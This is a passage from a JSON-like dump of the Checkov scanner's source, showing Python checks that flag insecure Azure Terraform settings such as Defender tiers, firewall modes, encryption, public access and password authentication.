    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureDataExplorerDoubleEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Data Explorer uses double encryption\"\n        id = \"CKV_AZURE_75\"\n        supported_resources = ['azurerm_kusto_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"double_encryption_enabled\"\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = AzureDataExplorerDoubleEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderDisabledForResManager(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender for cloud is set to On for Resource Manager\"\n        id = \"CKV_AZURE_234\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.FAILED\n            if conf.get(\"resource_type\", [\"\"])[0].lower() == \"arm\" and conf.get(\"tier\", [\"\"])[0].lower() != \"standard\"\n            else CheckResult.PASSED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderDisabledForResManager()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnAppServices(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for App Service\"\n        id = \"CKV_AZURE_61\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"AppServices\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnAppServices()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnContainerRegistry(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Container Registries\"\n        id = \"CKV_AZURE_86\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"ContainerRegistry\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnContainerRegistry()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnKeyVaults(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Key Vault\"\n        id = \"CKV_AZURE_87\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"KeyVaults\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnKeyVaults()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnKubernetes(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Kubernetes\"\n        id = \"CKV_AZURE_85\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"KubernetesService\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnKubernetes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnServers(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Servers\"\n        id = \"CKV_AZURE_55\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"VirtualMachines\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnServers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List, Dict, Any\n\n\nclass AzureDefenderOnSqlServersVMS(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for SQL servers on machines\"\n        id = \"CKV_AZURE_79\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if (\n            conf.get(\"resource_type\", [None])[0] != \"SqlServerVirtualMachines\"\n            or conf.get(\"tier\", [None])[0] == \"Standard\"\n        ):\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnSqlServersVMS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnSqlServers(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Azure SQL database servers\"\n        id = \"CKV_AZURE_69\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"SqlServers\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnSqlServers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnStorage(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Defender is set to On for Storage\"\n        id = \"CKV_AZURE_84\"\n        supported_resources = (\"azurerm_security_center_subscription_pricing\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"resource_type\", [None])[0] != \"StorageAccounts\" or conf.get(\"tier\", [None])[0] == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"resource_type\", \"tier\"]\n\n\ncheck = AzureDefenderOnStorage()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass AzureFirewallDefinesPolicy(BaseResourceValueCheck) :\n    def __init__(self) -> None:\n        name = \"Ensure Firewall defines a firewall policy\"\n        id = \"CKV_AZURE_219\"\n        supported_resources = ['azurerm_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"firewall_policy_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureFirewallDefinesPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureFirewallDenyThreatIntelMode(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.Firewall.Mode/\n        Configure deny on threat intel for classic managed Azure Firewalls\n        \"\"\"\n        name = \"Ensure DenyIntelMode is set to Deny for Azure Firewalls\"\n        id = \"CKV_AZURE_216\"\n        supported_resources = (\"azurerm_firewall\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'threat_intel_mode'\n\n    def get_expected_value(self) -> Any:\n        return \"Deny\"\n\n\ncheck = AzureFirewallDenyThreatIntelMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureFirewallPolicyIDPSDeny(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Firewall policy has IDPS mode as deny\"\n        id = \"CKV_AZURE_220\"\n        supported_resources = ['azurerm_firewall_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"intrusion_detection/[0]/mode\"\n\n    def get_expected_value(self) -> str:\n        return \"Deny\"\n\n\ncheck = AzureFirewallPolicyIDPSDeny()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureFrontDoorEnablesWAF(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Front Door enables WAF\"\n        id = \"CKV_AZURE_121\"\n        supported_resources = ['azurerm_frontdoor']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"frontend_endpoint/[0]/web_application_firewall_policy_link_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AzureFrontDoorEnablesWAF()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureInstanceExtensions(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Virtual Machine Extensions are not Installed\"\n        id = \"CKV_AZURE_50\"\n        supported_resources = [\"azurerm_linux_virtual_machine\", \"azurerm_windows_virtual_machine\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"allow_extension_operations\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = AzureInstanceExtensions()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureInstancePassword.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureInstancePassword(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)\"\n        id = \"CKV_AZURE_1\"\n        supported_resources = ['azurerm_virtual_machine', 'azurerm_linux_virtual_machine']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for password configuration at azure_instance:\n            https://www.terraform.io/docs/providers/azure/r/instance.html\n        :param conf: azure_instance configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'os_profile_linux_config' in conf:\n            linux_config = conf['os_profile_linux_config'][0]\n            if isinstance(linux_config, dict) and 'disable_password_authentication' in linux_config:\n                disable_password_authentication = linux_config['disable_password_authentication']\n                self.evaluated_keys = ['os_profile_linux_config/[0]/disable_password_authentication']\n                if disable_password_authentication == [False]:\n                    return CheckResult.FAILED\n            else:\n                self.evaluated_keys = ['os_profile_linux_config']\n\n        if not conf.get('disable_password_authentication', [True])[0]:\n            self.evaluated_keys.append('disable_password_authentication')\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = AzureInstancePassword()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureManagedDiskEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Azure managed disk has encryption enabled\"\n        id = \"CKV_AZURE_2\"\n        supported_resources = ['azurerm_managed_disk']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'disk_encryption_set_id' in conf:\n            self.evaluated_keys = ['disk_encryption_set_id']\n            return CheckResult.PASSED\n        if 'encryption_settings' in conf:\n            if isinstance(conf['encryption_settings'][0], dict):\n                self.evaluated_keys = ['encryption_settings/[0]/enabled']\n                if conf['encryption_settings'][0]['enabled'] == [True]:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED  # enabled by default\n\n\ncheck = AzureManagedDiskEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureManagedDiskEncryptionSet(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that managed disks use a specific set of disk encryption sets for the \" \\\n               \"customer-managed key encryption\"\n        id = \"CKV_AZURE_93\"\n        supported_resources = ['azurerm_managed_disk']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'disk_encryption_set_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = AzureManagedDiskEncryptionSet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureScaleSetPassword(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)\"\n        id = \"CKV_AZURE_49\"\n        supported_resources = ['azurerm_linux_virtual_machine_scale_set']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"disable_password_authentication/[0]\"\n\n\ncheck = AzureScaleSetPassword()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AzureSearchAllowedIPsNotGlobal(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        # Setting the allowed ips to include global routes CIDR - 0.0.0.0/0 makes the resource public\n        name = \"Ensure Azure Cognitive Search service allowed IPS does not give public Access\"\n        id = \"CKV_AZURE_210\"\n        supported_resources = (\"azurerm_search_service\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"allowed_ips\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"0.0.0.0/0\"]\n\n\ncheck = AzureSearchAllowedIPsNotGlobal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureSearchManagedIdentity(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # Connections to Azure resources is required to use some features including indexing and customer managed-keys.\n        # Cognitive Search can use managed identities to authenticate to Azure resource without storing credentials.\n        # Using Azure managed identities have the following benefits:\n        # - You don't need to store or manage credentials. Azure automatically generates tokens and performs rotation.\n        # - You can use managed identities to authenticate to any Azure service that supports Azure AD authentication.\n        # Managed identities can be used without any additional cost.\n        name = \"Ensure Azure Cognitive Search service uses managed identities to access Azure resources\"\n        id = \"CKV_AZURE_207\"\n        supported_resources = (\"azurerm_search_service\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/[0]/type\"\n\n    def get_expected_values(self) -> Any:\n        return \"SystemAssigned\"\n\n\ncheck = AzureSearchManagedIdentity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureSearchPublicNetworkAccessDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Azure Cognitive Search disables public network access\"\n        id = \"CKV_AZURE_124\"\n        supported_resources = ['azurerm_search_service']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = AzureSearchPublicNetworkAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureSearchSLAIndex(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Cognitive Search services support indexing and querying. Indexing is the process of loading content into\n        # the service to make it searchable. Querying is the process where a client searches for content\n        # by sending queries to the index.\n        # Cognitive Search supports a configurable number of replicas. Having multiple replicas allows queries and\n        # index updates to load balance across multiple replicas.\n        #\n        # To receive a Service Level Agreement (SLA) for Search index updates a minimum of 3 replicas is required.\n        name = \"Ensure that Azure Cognitive Search maintains SLA for index updates\"\n        id = \"CKV_AZURE_208\"\n        supported_resources = (\"azurerm_search_service\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"replica_count\"]\n\n        replica_count = conf.get(\"replica_count\")\n        if replica_count and isinstance(replica_count, list):\n            if not isinstance(replica_count[0], int):\n                return CheckResult.UNKNOWN\n            if replica_count[0] >= 3:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AzureSearchSLAIndex()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureSearchSQLQueryUpdates(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Cognitive Search services support indexing and querying. Indexing is the process of loading content\n        # into the service to make it searchable. Querying is the process where a client searches for content\n        # by sending queries to the index.\n        # Cognitive Search supports a configurable number of replicas.\n        # Having multiple replicas allows queries and index updates to load balance across multiple replicas.\n        # To receive a Service Level Agreement (SLA) for Search index queries a minimum of 2 replicas is required.\n        name = \"Ensure that Azure Cognitive Search maintains SLA for search index queries\"\n        id = \"CKV_AZURE_209\"\n        supported_resources = (\"azurerm_search_service\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"replica_count\"]\n\n        replica_count = conf.get(\"replica_count\")\n        if replica_count and isinstance(replica_count, list):\n            if not isinstance(replica_count[0], int):\n                return CheckResult.UNKNOWN\n            if replica_count[0] >= 2:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AzureSearchSQLQueryUpdates()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AzureServiceFabricClusterProtectionLevel(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensures that Service Fabric use three levels of protection available\"\n        id = \"CKV_AZURE_125\"\n        supported_resources = ['azurerm_service_fabric_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = ['fabric_settings']\n        settings_conf = force_list(conf.get('fabric_settings'))\n        for setting in settings_conf:\n            if setting and setting.get('name') == ['Security']:\n                params = setting.get('parameters', [{}])[0]\n                if params.get('name') == 'ClusterProtectionLevel' and params.get('value') == 'EncryptAndSign':\n                    index = settings_conf.index(setting)\n                    self.evaluated_keys = [f'fabric_settings/[{index}]/parameters/[0]/name',\n                                           f'fabric_settings/[{index}]/parameters/[0]/value']\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AzureServiceFabricClusterProtectionLevel()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusDoubleEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Service Bus uses double encryption\"\n        id = \"CKV_AZURE_199\"\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"customer_managed_key/[0]/infrastructure_encryption_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = AzureServicebusDoubleEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusHasCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Service Bus uses a customer-managed key to encrypt data\"\n        id = \"CKV_AZURE_201\"\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"customer_managed_key/[0]/key_vault_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureServicebusHasCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Managed identity provider is enabled for Azure Service Bus\"\n        id = \"CKV_AZURE_202\"\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/[0]/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureServicebusIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureServicebusLocalAuthDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Ensure Azure Service Bus Local Authentication is disabled\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AZURE_203\"\n\n        # These are the Terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = (\"azurerm_servicebus_namespace\",)\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"local_auth_enabled\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = AzureServicebusLocalAuthDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py",
